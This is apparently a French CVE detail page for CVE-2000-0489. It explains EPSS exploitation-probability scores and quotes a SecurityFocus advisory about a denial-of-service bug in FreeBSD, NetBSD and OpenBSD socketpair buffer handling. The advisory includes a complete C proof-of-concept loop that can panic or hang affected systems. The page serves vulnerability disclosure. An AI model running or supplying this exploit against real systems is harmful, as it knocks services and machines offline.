CVE-2000-0489 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

// source: https://www.securityfocus.com/bid/622/info A denial of service attack exists that affects FreeBSD, NetBSD and OpenBSD, and potentially other operating systems based in some part on BSD. It is believed that all versions of these operating systems are vulnerable. The vulnerability is related to setting socket options regarding the size of the send and receive buffers on a socketpair. By setting them to certain values, and performing a write the size of the value the options have been set to, FreeBSD can be made to panic. NetBSD and OpenBSD do not panic, but network applications will stop responding. Details behind why this happens have not been made available. #include <unistd.h> #include <sys/socket.h> #include <fcntl.h> #define BUFFERSIZE 204800 extern int main(void) { int p[2], i; char crap[BUFFERSIZE]; while (1) { if (socketpair(AF_UNIX, SOCK_STREAM, 0, p) == -1) break; i = BUFFERSIZE; setsockopt(p[0], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int)); setsockopt(p[0], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int)); setsockopt(p[1], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int)); setsockopt(p[1], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int)); fcntl(p[0], F_SETFL, O_NONBLOCK); fcntl(p[1], F_SETFL, O_NONBLOCK); write(p[0], crap, BUFFERSIZE); write(p[1], crap, BUFFERSIZE); } exit(0); }
